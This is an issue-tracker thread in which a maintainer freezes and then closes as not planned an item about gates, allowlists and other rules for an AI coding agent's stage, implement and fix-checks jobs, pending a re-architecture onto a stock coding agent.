Searches (8)
Tools considered:
Searches run:
Sources:
dan-petty commentedon Nov 20, 2026
Frozen on 2026-11-20. The stage, implement and fix-checks jobs grade under 60%, so the owner rule asks for a re-architecture before more fixes inside the current design (tracker #6519). This item is incremental work on those jobs, so its Dependencies section now names #6521 first. Stage and implement leave this item while #6521 is open. When the experiments of #6519 decide, a person closes #6521 (this item can then continue) or closes this item as not planned.
dan-petty commentedon Nov 30, 2026
Triage under #6519 (owner instruction of 2026-11-30), before the hold #6521 closes. This item adds or extends a gate, refusal, screen, cap, limit, retry, result line, shell allowlist, tool catalog or plan-shape rule of the stage, implement or fix-checks job. #6519 found that 263 of about 900 issues in four weeks added such rules and none replaced the engine. Stage now runs on stock Coder (grade 60 on 30 graded attempts), where the agent reads the repository, runs the checks in its loop and has a real shell; implement follows (#6527). The code paths that this item names have also moved. If the failure class still shows in graded attempts, file a new item from that evidence. Closed as not planned; a person may reopen it.